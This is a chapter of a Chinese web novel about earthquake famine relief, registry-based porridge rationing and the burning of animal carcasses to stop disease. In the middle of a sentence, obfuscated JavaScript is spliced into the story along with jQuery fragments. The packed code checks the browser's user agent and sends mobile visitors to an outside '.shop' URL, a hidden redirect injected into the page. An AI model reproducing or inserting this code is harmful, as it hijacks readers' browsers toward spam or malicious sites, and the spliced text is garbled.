施粥的告示前一日便已贴遍坊巷,只是迟迟不见粥来。
这时候,上都内外稍显立整的墙根之下,无一例外排起了长队。
灾民全是被这一纸告示吸引过来的。
告示之上,乌黑大字写着“天降灾异,上心震悼”云云,言辞恳切,却并不能打动人心。
众人是为着下文来的。
那里信誓旦旦言道,自即日起各坊搭设粥棚赈济,凡受灾百姓,凭户籍,每口每日领粥一盂。
文末钤着户部的朱红大印,侧边另缀一行小字,写的是:
“仓粮所余无多,各坊领粥以册载丁口为限,册外流民另行安置。”
初时围看告示的灾民大半不识文墨,瞧得云里雾里,生怕一口热粥落不到自己手里,当场便吵嚷成一片。
混乱之间,一个走街串巷鬻字卖画的穷酸书生被人推搡到告示跟前,身后几十双眼睛灼灼盯着,望他解读福祸。
书生眯起昏花老眼,逐行扫过,末了回过头,用大白话兜底道:
“官家管饭,但是要户籍。没有户籍的,不管。”
此话一出,人群当即炸开。
手里尚有户籍凭据的,拼了命往前拱,转瞬就把粥棚底下几口空锅围得里三层外三层。
没有户籍的,嘴里骂骂咧咧,却又舍不得就此散去,便占下墙角一隅,打算等管事官吏到了再讨说法。
更有人心底已有盘算,实在不行便硬闯粥棚,抢一口是一口。
还有些人慌忙开始翻捡从废墟刨出来的包袱、被褥、旧衣,指望能把自家的户籍扒出来。
然而必定是奢望。
户籍本就是薄纸一张,怕水、怕火、怕折、怕压。
若是地动当时不曾贴身带出,埋在断砖烂土之下,早已泡烂沤毁了,哪里还寻得见半分痕迹。
待到巳时正刻,终于来了一名持户部令牌的衙官,身后跟着四五个临时从各坊征募的民夫,人人手里提着布口袋。
众人望见口袋,如同久旱逢得点滴甘霖,轰然一拥而上。
三口铁锅,这才被一字排开落地。
起初场面依旧乱如沸粥,经那衙官几番厉声呵斥,灾民才勉强挤出两条歪歪扭扭的长队,喧哗声渐渐低了下去。
漫长的等候与蚀骨饥饿,早把人的精气神磨去大半。
队伍前头摆一张条案,案后坐一名魏姓书吏,案上摊开的,是自户部库中调出来的户籍黄册。
领粥之人上前,先要报姓名,报坊巷,报家中丁口。
魏书吏对照黄册一一核验,对上了,便在名字旁边画一圈,案边打下手的民夫便朝灶台高声喊:
“一盂——”
灶台另一头的民夫闻声,便舀起一勺稀粥,倾入灾民递来的碗中。
若是对不上册籍,魏书吏便摘下鼻梁上的眼镜,客客气气,语气却没有半分转圜余地。
“尊驾不在册,对不住。”
说罢便合上册子,静待下一人。
被驳回的人,有的当场嚎哭,有的破口怒骂,有的跪倒磕头,更有死死攥住条案腿不肯挪步的。
可到最后,还是尽数被民夫半拖半架撵开。
魏书吏自始至终,眼皮都不抬一下。
他管理黄册数载,这般场面早已是司空见惯。
流民冲击衙门、饥民哄抢粮仓、灾民跪在户部阶前磕得额头淌血,哪一桩不是年年上演?
经年历练,他早已练出一副照章办事、分毫通融不得的铁石心肠。
正当队伍蚂蚁搬家一般缓缓挪行时,案桌那里陡然掀起一阵骚动。
紧接着,一名老妇被两名民夫架着拖拽出来,脸上涕泪纵横。
她报的坊巷没错,家中丁口数目也对得上,偏偏名字不在黄册之上。
只因她并非户主,只是户主之母。
大舒旧制,女子不单独登入黄册,只能作为依附丁口记在户主名下。
地动之中,她那做户主的儿子已经殒命,她这名依附的老妇,便跟着一并从册籍里消弭无踪。
围观之人投去几许同情目光,转瞬便又收回心神,只顾盘算自己能不能领到那一碗粥。
就在这时,粥棚东南方向,一缕黑烟扶摇而起。
几条胡同交汇之处,原是一处晒谷场。
此地无屋舍楼宇,地震过后反倒显得开阔平整。
晒谷场正中,听了班棘吩咐的一众百姓,已经垒起一座近乎半间屋舍大小的火堆。
那匹闯祸的黑狗,已经被剥皮去脏,架到了火堆中央两道铁叉之上。
阿攀高擎火把,立在柴堆跟前,四周围满看热闹的人。
她清了清嗓子,正要俯身引燃柴薪。
“请让一让。”
人群外侧,忽然传来一声喊话。
阿攀手上一顿,与周遭众人一齐转头望去。
围观的不少人方才还在粥棚底下排队,听闻这边有热闹,索性抛下队伍跑过来。
眼见铁叉上那处理妥当的黑狗,不少人心里已经暗暗盘算,待会儿好歹能分到一口肉填肚子。
人群不由自主向两边分开,让出一条通路。
班棘穿过人墙踏入圈内,一转身先看见高高垒起的火堆,再抬眼,赫然望见铁叉上那被剥去皮毛的黑狗。
她手一松,手里的几卷艾草尽数回归大地。
“这、这这……”她手指来回点着黑狗,又指向阿攀手里的火把,大惊失色,“这是做什么?”
阿攀一头雾水,“把狗烤来吃啊,女帝姐姐,不是你刚才吩咐的么。”
班棘嘴巴张得活似一方方框,“朕只说要烤狗,什么时候说过烤来吃?!”
“不拿来吃,那费劲烤它作甚?”阿攀撇着嘴角,一脸茫然。
“那当然是为了让它早登极乐重新投胎啊!”班棘难以置信,“火葬你不明白吗?”
“火……火葬?”阿攀重复一遍,依旧摸不着头脑,“我长这么大,只听过入土为葬。”
班棘望着铁叉上那副狗尸的惨状,只觉眼前一阵阵发黑,不由仰天长叹。
“好惨一条狗!”
若是手边有酒,她真想酹上一杯,好好给这野狗默哀一番。
围观人群之中,当即有人高声起哄。
“都到什么时候了,还顾得上一条畜生的身后事?皮都剥好了,不如烤熟了分着吃,大家说是不是!”
这一声鼓动之下,立刻响起好几道饥寒交迫的附和。
“是啊,我们在那边领不到粥,耗在这里等半晌,就盼着这一口吃食。”
“已经两天粒米未沾,管它狗也好鸡也罢,便是狮子老虎摆在跟前,我也吃得下去!”
班棘面色一沉,收敛了方才的错愕,神色郑重,厉声开口。
“不是朕吝惜一口狗肉,而是这狗吃不得。不止这条狗,凡是死在地震中的牲畜,一概吃不得。”
“我看可以吃!”
人群里一名汉子饿得红
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865921|212194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了眼,吵嚷着冲上前,伸手就要抢夺阿攀手中的火把,打算自己点火烤肉。
阿攀反应极快,旋身死死护住火把,班棘也跨步拦在那人身前,耐着性子苦口婆心拆解利害。
“但凡养过牲口的都懂,遭了瘟的牲口是万万不能吃的。”
“现在道理也是一样,地龙翻身,谁知道从地下翻了什么好东西出来?谁知道这狗吃了什么?”
“也许它啃过死人肉,喝过泡尸水,跟老鼠抢过腐肉,这你敢下嘴?”
阿攀闻言,脸上也浮起几分惧色,却又冒出一个直白疑问。
“女帝姐姐,可它活着的时候,你都敢扑上去跟它对咬,怎么死了反倒不敢吃它?”
班棘当场语塞,心底那个“莫不是我本是茹毛饮血的野人”的猜想又冒了出来。
可恨。
她狠狠把那念头按捺下去。
“朕那是为了活命不得已而为之,这件事以后不许再提。”
阿攀依旧满腹疑惑,“可咱们费这么大功夫垒起这么大一堆火,就只为给一条野狗办葬礼?”
班棘偏过头瞥她一眼,“朕哪有那闲工夫,单单为一条狗办丧事。”
说罢她伸手指向人群之外,“当然还有它们。”
阿攀顺着她的指尖望出去,一众围观百姓也带着惊疑,齐齐转头回望。
只见晒谷场后方,一队人从断垣废墟之后绕了出来。
领头是一名中年妇人,口鼻都用布巾捂得严实,手臂也裹着布帛,正奋力推着一辆板车缓缓过来。
板车上堆成小山一般的,全是畜生的尸体。
跟在她身后的年轻男子,也是捂得严严实实,肩头挑着两只大筐,筐里全是从阴沟捞起的死鸭子,鸭毛上还沾着油黑的淤泥。
再往后的几名妇人少女,同样防护周全,或挑或抬或抱,运载的全是形形色色死状凄惨的禽畜尸体。
板车车轮碾过满地碎砖,一路吱呀,缓缓逼近。
比板车先一步抵达人群的,是一股甜腥又腐臭的尸气。
围观队列里一名汉子,当即别过头,弯下腰干呕起来。
班棘走到板车跟前,大略扫过堆积的死畜,对那推车妇人道:“四处废墟底下,应该还收得到不少。”
妇人沉稳点头,“方才路过东城茶庵那一带,看着好几条野狗,都死在路边阴沟里,还没人收。下午我带人去。”
班棘点点头,本想叫围观众人让开通路,回头一望,才发现百姓早已被那股腐臭熏得连连后退。
她便不再多言,示意妇人把板车直推到火堆边上,将一车禽畜尽数卸下。
后面挑筐抬筐的人也依次上前,把一具具死畜堆叠到柴薪之上。
方才看热闹的民众越散越远,火堆旁边,到头来就只剩下阿攀还站在近处。
班棘从阿攀手里接过火把,吩咐她退到外围。
一众做清运的百姓退到安全距离后,班棘俯身,将火把狠狠塞入柴堆底部。
干柴遇火,呼地一声腾起烈焰。
火苗先舔舐黑狗的爪尖,顺着剥去皮的躯体向上窜,很快便蔓延到堆在一处的鸡、猪、羊各类尸身。
油脂受火,发出细密尖锐的嘶嘶爆响,滚滚黑烟冲天而起,浓烈的焦糊气味四下弥漫。
预先塞进狗腹腔的艾草也一并引燃,草药焚烧的淡淡苦香,混杂在浓重焦臭之中,若有若无。
火势烧到炽盛之时,远处,有人正朝着晒谷场快步赶来。